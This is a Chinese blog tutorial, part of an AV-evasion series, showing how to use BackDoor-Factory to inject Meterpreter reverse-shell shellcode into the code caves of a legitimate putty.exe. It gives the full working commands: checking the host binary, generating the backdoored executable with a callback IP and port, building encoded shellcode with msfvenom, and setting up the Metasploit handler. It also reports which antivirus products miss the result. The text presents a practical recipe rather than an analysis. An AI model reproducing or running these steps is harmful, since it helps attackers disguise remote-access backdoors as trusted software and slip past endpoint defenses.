0x01 免杀能力一查表


几点说明:

1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。

2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。

3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2019.12.12),火绒版本5.0.33.13(2019.12.12),360安全卫士12.0.0.2001(2019.12.17)。

4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀的精确判断指标。

5、完全不必要苛求找一种能bypass所有杀软的免杀技术,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。

0x02 BDF介绍

BackDoor-factory,又称后门工厂(BDF),BDF是也是一款老牌的免杀神器,其作者曾经在2015年的blackhat大会上介绍过该工具。但是作者已经于2017年停止更新,免杀效果就算现在来看也还算不错的。
原理:可执行二进制文件中有大量的00,这些00是不包含数据的,将这些数据替换成payload,并且在程序执行的时候,jmp到代码段,来触发payload

0x03 安装BDF

官方地址:


https://github.com/secretsquirrel/the-backdoor-factory

方法一、如果使用kali或parrot,系统中已经安装好了BDF。
如果找不到的话可以使用locate命令查找一下:

locate backdoor.py | more


方法二、如果系统里没有安装,则需要手动安装

ubuntu里可以直接,kali里不能直接安装

apt-get update
apt-get install backdoor-factor


方法三、使用docker

BDF作者也考虑到安装容易出问题,所以提供了docker环境:


docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash

0x04 直接生成免杀后门

backdoor-factory是把shellcode插入到一个正常的exe文件的代码"缝隙"中,类似于捆绑但不是捆绑,所以需要提前准备一个被捆绑的宿主exe文件,我这是还是用之前的putty.exe为例。
执行python backdoor.py:

4.1、首先检查宿主exe是否被支持

在"捆绑"之前,BDF需要检查一下宿主exe能否被支持"插入"shellcode。
主要使用下面两个参数


-f:指定测试程序-S:检查该程序是否支持

在使用下面命令前,首先将putty.exe复制到docker容器里,如何复制,看这篇文章:
https://editor.csdn.net/md/?articleId=104808903
复制之后,检查命令:


python backdoor.py -f /root/putty.exe -S


说明putty.exe可以被支持。

4.2 搜索该文件可用的code Caves(代码缝隙)

使用命令./backdoor.py -f test.exe -c -l 600

-c:code cave(代码裂缝)-l:代码裂缝大小


发现1个可用代码缝隙,一般shellcode大小300字节,所以选择一个适当的缝隙就可以。

4.3 获取该文件的可用payload
./backdoor.py -f /root/putty.exe -s -show


如上图所示,会有很多的可利用payload。

  • cave_miner_inline:作为payload模板,长度为135,仅实现了控制流程跳转,不做其他操作,可用作自定义开发shellcode的模板
  • reverse_shell_tcp_inline:对应的msf:use exploit/multi/handlerset payload windows/meterpreter/reverse_tcp
  • meterpreter_reverse_https_threaded:对应的msf:use exploit/multi/handlerset payload windows/meterpreter/reverse_https
  • iat_reverse_tcp_inline中的iat:iat为Import Address Table(导入地址表)的缩写,如果PE文件的IAT不包含API LoadLibraryA和GetProcAddress,直接执行payload reverse_shell_tcp_inline会失败,iat_reverse_tcp_inline增加了修复IAT的功能,避免执行失败
  • iat_reverse_tcp_stager_threaded:增加了修复IAT的功能
  • user_supplied_shellcode_threaded:对应的msf:use exploit/multi/handlerset payload windows/meterpreter/reverse_tcp``自定义shellcode
4.4 生成payload

推荐使用的命令:

./backdoor.py -f /root/putty.exe -s iat_reverse_tcp_stager_threaded -H 192.168.142.134 -P 5555 -J -o payload.exe
-c:code cave(代码裂缝)-l:代码裂缝大小-s:选择使用 payload 类型-H:选择回连服务器地址-P:回连服务器端口-J:使用多代码裂缝注入

选择一个代码段进行插入shellcode,最后就可以生产新的后门程序。

我们可以看到payload.exe在backdoored文件夹下,将文件先移动到/root/shell文件夹下,再复制到宿主机子里


操作之后,文件就在我们的机子里了

4.5 免杀测试

运行payload.exe,发现360卫士和杀毒可查杀,火绒未检测到病毒。

0x05 使用自己定义的shellcode

先用msfvenom生成raw格式的shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -i 5 -f raw -o shellcode.c

将文件复制到docker容器,再使用backdoor的user_supplied_shellcode_threaded模块加载自定义的shellcode

./backdoor.py -f /root/putty.exe -s user_supplied_shellcode_threaded -U /root/shellcode.c  -o payload2.exe


msf监听可上线:


msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 10.211.55.2
lhost => 10.211.55.2
msf exploit(handler) > set lport 3333
lport => 3333
msf exploit(handler) > exploit

但是360依然可以查杀

0x06 小结

利用backdoor-factory使用,用户可以在不破坏原有可执行文件的功能的前提下,在文件的代码裂隙中插入恶意代码Shellcode。当可执行文件被执行后,就可以触发恶意代码。Backdoor Factory不仅提供常用的脚本,还允许嵌入其他工具生成的Shellcode,如Metasploit。

该工具还有很强大的一些其他功能,比如加私钥证书、CPT等等,虽然目前软件已经不再更新,但免杀效果至今依然不错也能管中窥豹看到它的强悍之处。

0x07 参考资料

利用BDF向EXE文件植入后门:https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8BDF%E5%90%91EXE%E6%96%87%E4%BB%B6%E6%A4%8D%E5%85%A5%E5%90%8E%E9%97%A8/

backdoor-factory使用简介:https://www.lstazl.com/backdoor-factory%E4%BD%BF%E7%94%A8%E7%AE%80%E4%BB%8B/

backdoor-factory使用:https://www.cnblogs.com/-qing-/p/11421709.html

远控免杀专题8---BackDoor-Facktory免杀相关推荐

  1. H-WORM家族远控木马分析与处置

    病毒背景 H-WORM作者ID为Houdini,使用VBS编写以实现远控蠕虫功能,能够通过感染U盘传播,出现的时间最早可以追溯到2013年7月.因为其简洁有效的远控功能.非PE脚本易于免杀.便于修改等 ...

  2. 远控免杀专题(9)-Avet免杀(VT免杀率14/71)

    本专题文章导航 1.远控免杀专题(1)-基础篇:https://mp.weixin.qq.com/s/3LZ_cj2gDC1bQATxqBfweg 2.远控免杀专题(2)-msfvenom隐藏的参数: ...

  3. 远控免杀专题(16)-Unicorn免杀(VT免杀率29/56)

    声明:文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! 本专题文章导航 1.远控免杀专题(1)-基础篇:https://mp.w ...

  4. 远控免杀专题(12)-Green-Hat-Suite免杀(VT免杀率23/70)

    声明:文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! 本专题文章导航 1.远控免杀专题(1)-基础篇:https://mp.w ...

  5. 远控免杀专题(17)-Python-Rootkit免杀(VT免杀率7/69)

    声明:文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! 本专题文章导航 1.远控免杀专题(1)-基础篇:https://mp.w ...

  6. 远控免杀专题(13)-zirikatu免杀(VT免杀率39/71)

    声明:文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! 本专题文章导航 1.远控免杀专题(1)-基础篇:https://mp.w ...

  7. 远控免杀专题文章(3)-msf自免杀(VT免杀率35/69)

    原文链接:远控免杀专题文章(3)-msf自免杀(VT免杀率35/69) 免杀能力一览表 几点说明: 1.上面表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass. 2.为了更好的对比效 ...

  8. 远控免杀专题(67)-白名单(113个)总结篇

    关于白名单程序 相信大家对白名单程序利用的手法也已经非常熟悉了,白名单程序利用其实是起源于LOLBins,全称"Living-Off-the-Land Binaries",直白翻译 ...

  9. 远控免杀专题文章(2)-msfvenom隐藏的参数

    本专题文章导航 1.远控免杀专题文章(1)-基础篇: 远控免杀专题文章(1)-基础篇 因为cobaltstrike生成payload比较简单,这里不再累述,只是介绍一下msfvenom的基本参数和一些 ...

  10. 远控免杀专题文章(1)-基础篇

    脉搏文库 TideSec [](javascript:void(0)) 2020-02-20 6,218 *前**言* 一直是从事web安全多一些,对waf绕过还稍微有些研究,但是对远控免杀的认知还大 ...

最新文章

  1. Java NIO.2 Files类的常用方法
  2. 课时 25:Kubernetes 网络模型进阶(叶磊)
  3. go 调用其他文件函数_【C# 调用 Go 语言】0x1 Hello Golang
  4. 一个打印有规律图形的c程序。
  5. eosio.msig合约源码分析
  6. hibernate的环境搭建
  7. 基于51单片机的酒精检测仪设计
  8. 周记——20151123
  9. Matlab Coder优缺点、使用介绍、使用注意
  10. #2020 UI/UX设计趋势
  11. 字母上一横怎么word里打出来
  12. 有关直方图的常用操作
  13. portal无线认证服务器,无线AC配置portal认证功能portal 认证服务器问题
  14. 安卓微信7.0版本的微信支付只支持拉起默认的微信,不支持应用双开的微信
  15. 美国是一个愚蠢而落后的国度--大家千万别去
  16. 队列:小组队列(插队)
  17. [前端项目]微信小程序 小商城
  18. 包教包会:龙芯3A5000上尝试运行任意Windows软件
  19. python中使用matplotlib库绘制多个子图(subplot函数用法)
  20. 冲床行业显露出来本质性复苏

热门文章

  1. 微信小程序之发送模板消息(通过openid推送消息给用户)
  2. 基于canvas的骨骼动画
  3. css定位position
  4. What?一个 Dubbo 服务启动要两个小时!
  5. android-线程池-最顺手的写法
  6. 剑指offer二十二之从上往下打印二叉树
  7. (X)HTML嵌套规则
  8. Spring学习大杂烩(待续)
  9. 创新品类,N次方的市场爆炸力
  10. ntp如何确认与服务器偏差_LED电子时钟显示屏如何实现时间同步统一校时?